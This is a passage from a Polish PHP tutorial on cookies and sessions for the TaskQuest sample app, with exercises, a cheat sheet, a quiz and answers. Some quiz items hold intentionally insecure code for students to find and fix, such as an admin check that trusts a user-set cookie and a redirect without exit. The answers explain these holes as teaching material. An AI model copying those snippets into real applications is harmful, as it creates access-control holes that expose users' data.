B) Automatyczne wylogowanie po bezczynności. Użytkownik, który przez 15 minut nie otworzył żadnej strony TaskQuest, ma zostać wylogowany. Wskazówki: w config/config.php stała z czasem w sekundach; w sesji klucz z czasem ostatniej aktywności (time()), ustawiany przy logowaniu i przy każdym wejściu na stronę dla zalogowanych; w wymagajLogowania() porównanie z aktualnym czasem. Po wygaśnięciu użytkownik ma trafić na zaloguj.php i zobaczyć komunikat „Sesja wygasła — zaloguj się ponownie.”. Uwaga: żeby komunikat przetrwał, nie niszcz całej sesji — usuń z niej tylko klucze użytkownika i ustaw komunikat, a na zaloguj.php go wyświetl. Do testów ustaw czas na 20 sekund. Dlaczego sprawdzamy czas na serwerze, a nie ustawiamy po prostu krótkiego czasu życia ciasteczka PHPSESSID?

C) Jeśli robiłaś/robiłeś zadanie końcowe A z Lekcji 13 („Zrobione!”): przerób oznacz-wykonane.php tak, żeby działał tylko dla zalogowanych i zamiast ?wykonano=1 używał komunikatu jednorazowego. Po zmianie adres index.php?wykonano=1 nie może niczego pokazywać.

Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory.

Most do Lekcji 15

TaskQuest pamięta już użytkownika, ale spójrz, jak rozproszone są dane o nim:

$_SESSION['login'], $_SESSION['imie']        →  kim jest (sesja)
$xp, $streak, $dataOstatniejAktywnosci        →  jego postęp (zmienne w index.php, na sztywno)
obliczPoziom($xp), pobierzTytul($poziom), ... →  co z tych danych wynika (funkcje w innym pliku)

Podobnie z zadaniem: tablica z kluczami 'tytul', 'termin', 'wykonane'… i osobno funkcje, które „wiedzą”, jakie klucze ma ta tablica. Nic nie pilnuje, żeby ktoś nie wpisał 'tytuł' z polską literą albo nie zapomniał klucza 'xp'.

W Lekcji 15 połączymy dane i działania na nich w jedną całość: zadanie i użytkownik staną się obiektami, które same wiedzą, co zawierają i co potrafią. To programowanie obiektowe.


PODSUMOWANIE LEKCJI

W skrócie

Dlaczego w ogóle potrzebujemy cookies i sesji

  • HTTP jest bezstanowy: każde żądanie uruchamia skrypt od pierwszej linii, a po jego zakończeniu wszystkie zmienne znikają. Cokolwiek ma przetrwać do następnego żądania, musi leżeć w przeglądarce (cookie) albo na serwerze (sesja).

Cookie

  • setcookie() wysyła nagłówek odpowiedzi — musi się wykonać przed jakąkolwiek treścią strony (nawet przed spacją sprzed <?php).
  • $_COOKIE zawiera to, co przeglądarka przysłała w tym żądaniu. Ciasteczko ustawione przed chwilą zobaczysz dopiero w następnym żądaniu — dlatego wypisujemy własną zmienną, a nie $_COOKIE[...].
  • Wartość ciasteczka to zawsze tekst (ok. 4 KB). Liczby trzeba rzutować, tablice — zakodować (json_encode()).
  • Bez trzeciego parametru ciasteczko znika po zamknięciu przeglądarki; z time() + sekundy żyje do podanej daty.
  • Usunięcie ciasteczka = ustawienie go ponownie z czasem w przeszłości, z tą samą ścieżką i domeną.
  • Ciasteczko leży u użytkownika i użytkownik może je dowolnie zmienić. $_COOKIE traktujemy dokładnie jak $_GET i $_POST: odczyt przez ??, potem sprawdzenie (regex albo lista dozwolonych wartości).

Sesja

  • session_start() musi być w każdym pliku korzystającym z sesji i również przed jakąkolwiek treścią strony (wysyła ciasteczko PHPSESSID).
  • Przeglądarka dostaje tylko identyfikator (PHPSESSID); dane leżą w pliku na serwerze. Użytkownik może podmienić identyfikator, ale nie zawartość sesji — dlatego to, co sami zapisaliśmy w $_SESSION, traktujemy jako zaufane.
  • Sesja zachowuje typy danych (liczby, bool, tablice) — w przeciwieństwie do cookie.
  • Plik sesji powstaje dopiero wtedy, gdy coś zapiszesz do $_SESSION.
  • Pełne wylogowanie to trzy kroki: $_SESSION = [];, usunięcie ciasteczka session_name() ze ścieżką '/', session_destroy().
  • Przy logowaniu wywołujemy session_regenerate_id(true) — użytkownik dostaje nowy identyfikator, zanim zapiszemy do sesji dane o tym, kim jest.

Decyzje projektowe

  • W sesji: kto jest zalogowany, uprawnienia, komunikaty jednorazowe, dane między krokami formularza.
  • W cookie: preferencje (widok listy, motyw, język, „nie pokazuj więcej”) — czyli rzeczy, przy których podmiana wartości przez użytkownika nikomu nie szkodzi.
  • Komunikat jednorazowy = zapis do sesji → przekierowanie → odczyt i unset(). Dzięki temu nie da się go wywołać adresem i nie wraca po odświeżeniu.
  • Po header('Location: ...') zawsze exit — bez niego skrypt wykonuje resztę pliku mimo przekierowania.

Co trzeba umieć na INF.03?

  • rozpoznać i wyjaśnić różnicę między cookie a sesją: gdzie leżą dane, kto może je zmienić, jak długo żyją, co przechowuje ciasteczko PHPSESSID,
  • napisać ustawienie ciasteczka z czasem wygaśnięcia (setcookie('nazwa', 'wartość', time() + sekundy)) i odczyt przez $_COOKIE z zabezpieczeniem ??,
  • usunąć ciasteczko (czas w przeszłości) i wyjaśnić, dlaczego unset($_COOKIE[...]) nie wystarcza,
  • napisać obsługę sesji: session_start(), zapis i odczyt $_SESSION, unset(), pełne zakończenie sesji w trzech krokach,
  • rozpoznać błąd „headers already sent” i wskazać jego przyczynę (nagłówek po treści strony),
  • napisać prosty mechanizm logowania na sesji: sprawdzenie danych z formularza → zapis do sesji → ochrona strony (if + header('Location: ...') + exit),
  • uzasadnić, czego nie wolno trzymać w ciasteczku (loginu, roli, uprawnień) i dlaczego,
  • znać zależność cookie ↔ sesja: sesja też opiera się na ciasteczku, tyle że zawiera ono wyłącznie identyfikator.

Minimum, które powinno wejść w pamięć

Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:

  1. setcookie() i session_start() przed jakimkolwiek HTML-em.
  2. session_start() w każdym pliku, który czyta lub zapisuje $_SESSION.
  3. $_COOKIE pokazuje przeszłość: ciasteczko ustawione teraz zobaczysz w następnym żądaniu.
  4. $_COOKIE = dane od użytkownika (sprawdzaj!), $_SESSION = dane od nas (możemy ufać).
  5. Usunięcie ciasteczka to ustawienie go z czasem w przeszłości, z tą samą ścieżką.
  6. Wylogowanie = dane + ciasteczko sesji + session_destroy().
  7. Nigdy nie trzymaj w ciasteczku tego, od czego zależy, kim jest użytkownik i co mu wolno.
  8. Po każdym header('Location: ...') — exit.

Ściągawka – najważniejsze polecenia i składnia

Ciasteczka

setcookie('nazwa', 'wartość');                       // do zamknięcia przeglądarki
setcookie('nazwa', 'wartość', time() + 60 * 60);     // godzina
setcookie('nazwa', 'wartość', time() + 60 * 60 * 24 * 30);  // 30 dni
setcookie('nazwa', '', time() - 3600);               // usunięcie

$wartosc = $_COOKIE['nazwa'] ?? 'domyślna';          // odczyt
isset($_COOKIE['nazwa']);                            // czy przyszło

Sesje

session_start();                    // na samej górze pliku

$_SESSION['login'] = 'Kama_2026';   // zapis (typy zachowane)
$imie = $_SESSION['imie'];          // odczyt danych, które sami zapisaliśmy
unset($_SESSION['komunikat']);      // usunięcie jednego klucza
$_SESSION = [];                     // wyczyszczenie danych
session_regenerate_id(true);        // nowy identyfikator (przy logowaniu)
session_name();                     // nazwa ciasteczka sesji: PHPSESSID
session_destroy();                  // usunięcie sesji z serwera

Pełne wylogowanie

session_start();

$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;

Strona tylko dla zalogowanych

if (!isset($_SESSION['login'])) {
    header('Location: zaloguj.php');
    exit;
}

Komunikat jednorazowy

// strona zapisująca
$_SESSION['komunikat'] = 'Zadanie zostało dodane.';
header('Location: index.php');
exit;

// strona wyświetlająca
$komunikat = $_SESSION['komunikat'] ?? '';
unset($_SESSION['komunikat']);

Preferencja z adresu albo z ciasteczka

$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

Co gdzie

 CookieSesja
dane leżąw przeglądarcena serwerze
użytkownik może zmienićtaknie (tylko identyfikator)
typytylko tekstdowolne
widać zapisw następnym żądaniuod razu
do czegopreferencjelogowanie, komunikaty, dane wrażliwe

Quiz – sprawdź się

1. Co wypisze ten kod przy pierwszym otwarciu strony, a co przy drugim?

$licznik = $_COOKIE['licznik'] ?? '0';
setcookie('licznik', (int) $licznik + 1, time() + 3600);
echo $_COOKIE['licznik'] ?? 'brak';

2. Dlaczego ten kod nie zadziała i jaki komunikat zobaczysz?

echo "<h1>Panel</h1>";
session_start();
$_SESSION['login'] = 'Kama_2026';

3. Ciasteczko ustawiono przez setcookie('filtr', 'aktywne', time() + 3600). Który zapis rzeczywiście je usunie z przeglądarki?

// a)
unset($_COOKIE['filtr']);
// b)
setcookie('filtr', '', time() - 3600);
// c)
$_COOKIE['filtr'] = '';

4. Co wypisze brudnopis2.php, jeżeli otworzysz najpierw brudnopis.php, a potem brudnopis2.php dwa razy?

// brudnopis.php
session_start();
$_SESSION['xp'] = 50;

// brudnopis2.php
session_start();
$_SESSION['xp'] += 10;
echo $_SESSION['xp'];

5. W index.php odczytujemy $_SESSION['imie'] bez ??, a $_COOKIE['filtr'] — z ??. Wyjaśnij, dlaczego oba zapisy są poprawne.

6. Czego brakuje w tym wylogowaniu i jaki będzie tego skutek?

session_start();
$_SESSION = [];
session_destroy();
header('Location: zaloguj.php');
exit;

7. Znajdź błąd w funkcji — komunikat nigdy się nie pokazuje:

function pobierzKomunikat(): string
{
    unset($_SESSION['komunikat']);

    return $_SESSION['komunikat'] ?? '';
}

8. Kolega zabezpiecza panel administracyjny tak:

if (($_COOKIE['rola'] ?? '') === 'admin') {
    // panel administratora
}

Na czym polega dziura i jak ją naprawić, korzystając z tego, co znasz z tej lekcji?

9. Co się stanie, jeśli z tej funkcji usuniesz exit? Dlaczego użytkownik „nic nie zauważy”, a mimo to aplikacja jest dziurawa?

function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}

10. Użytkownik wchodzi na index.php?filtr=wykonane, mając w przeglądarce ciasteczko filtr=aktywne. Jaki widok zobaczy i jaka wartość zostanie w ciasteczku po tym żądaniu?

11. Uzupełnij kod tak, aby zapamiętywał motyw strony na 7 dni. Dozwolone wartości: jasny i ciemny, domyślnie jasny. Wartość zapisuj do ciasteczka tylko wtedy, gdy przyszła w adresie.

$motyw = /* ? */;

if (/* ? */) {
    $motyw = 'jasny';
}

if (isset($_GET['motyw'])) {
    setcookie(/* ? */);
}

12. Po co w zaloguj.php wywołujemy session_regenerate_id(true) i dlaczego akurat przed zapisaniem loginu do sesji?


Odpowiedzi

1. Pierwsze otwarcie: brak (przeglądarka nie przysłała jeszcze żadnego ciasteczka). Drugie: 1. echo wypisuje to, co przyszło w żądaniu, a nie to, co właśnie ustawiliśmy — ciasteczko z setcookie() pojawi się w $_COOKIE dopiero przy kolejnym żądaniu. Dlatego w takim liczniku wypisujemy własną zmienną.

2. session_start() wysyła nagłówek z ciasteczkiem PHPSESSID, a nagłówki muszą wyjść przed treścią strony. Po echo jest już za późno: Warning: Cannot modify header information - headers already sent. Sesja się nie rozpocznie (w XAMPP-ie przy buforowaniu wyjścia ostrzeżenie może się nie pojawić — nie polegaj na tym).

3. b). unset($_COOKIE['filtr']) i przypisanie do $_COOKIE zmieniają tylko tablicę w pamięci tego skryptu — przeglądarka nic o tym nie wie i przy następnym żądaniu przyśle ciasteczko ponownie. Usunięcie musi pójść do przeglądarki, czyli przez setcookie() z czasem w przeszłości (i z tą samą ścieżką, z jaką ciasteczko powstało).

4. Za pierwszym razem 60, za drugim 70. Dane sesji leżą na serwerze i są wczytywane przy każdym session_start(), więc += 10 dokłada się do zapamiętanej wartości. Zwróć uwagę, że 50 jest liczbą — sesja zachowuje typy.

5. $_SESSION['imie'] zapisujemy sami przy logowaniu, a na stronę wchodzą tylko zalogowani, więc klucz na pewno istnieje. $_COOKIE['filtr'] przychodzi od przeglądarki i przy pierwszej wizycie go po prostu nie ma — bez ?? byłoby Warning: Undefined array key.

6. Brakuje usunięcia ciasteczka z identyfikatorem sesji:

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

Bez tego dane i plik sesji znikają, ale przeglądarka nadal nosi stary PHPSESSID i wysyła go przy kolejnych żądaniach. Wylogowanie zadziała, tylko że zostawia w przeglądarce nieaktualny identyfikator — porządne zakończenie sesji ma trzy kroki.

7. Kolejność. Najpierw kasujemy klucz, a potem próbujemy go odczytać, więc ?? zawsze zwróci pusty tekst. Poprawnie: najpierw zapisz wartość w zmiennej, potem unset(), na końcu return $komunikat;.

8. Ciasteczko leży u użytkownika — każdy może w F12 wpisać sobie rola = admin i wejść do panelu. O uprawnieniach nie może decydować nic, co użytkownik sam ustawia. Rola musi trafić do sesji po sprawdzeniu danych logowania ($_SESSION['rola']), a warunek ma sprawdzać sesję.

9. Po header() skrypt działa dalej i wykonuje całą resztę pliku: odczytuje dane, może je zmienić, wygeneruje HTML. Przeglądarka posłucha nagłówka Location i pokaże stronę logowania, więc z zewnątrz wygląda to poprawnie. Ale odpowiedź z danymi została wysłana — wystarczy podejrzeć ją w F12 → Sieć albo wyłączyć podążanie za przekierowaniem, żeby zobaczyć zawartość strony bez logowania.

10. Zobaczy widok wykonane — adres ma pierwszeństwo w łańcuchu $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie'. W ciasteczku zostanie wykonane, bo setcookie() wywołujemy, gdy parametr był w adresie, i zapisujemy wartość po zawężeniu. Ciasteczko o tej samej nazwie i ścieżce zostaje nadpisane.

11.

$motyw = $_GET['motyw'] ?? $_COOKIE['motyw'] ?? 'jasny';

if ($motyw !== 'ciemny') {
    $motyw = 'jasny';
}

if (isset($_GET['motyw'])) {
    setcookie('motyw', $motyw, time() + 60 * 60 * 24 * 7);
}

Warunek można też zapisać jako if ($motyw !== 'jasny' && $motyw !== 'ciemny'). Ważne jest, że do ciasteczka trafia wartość po sprawdzeniu, a nie surowy tekst z adresu — inaczej zapisalibyśmy u użytkownika cokolwiek, co wpisał w pasek adresu.

12. Żeby użytkownik dostał nowy identyfikator sesji, zanim sesja stanie się „sesją zalogowanego”. Gdyby ktoś wcześniej podsunął ofierze znany sobie identyfikator (np. linkiem), po zalogowaniu miałby numerek do sesji z jej danymi. Parametr true usuwa stary plik sesji. Kolejność jest istotna: po regeneracji zapisujemy login — dane zostają w nowej sesji, a stary identyfikator jest już bezużyteczny.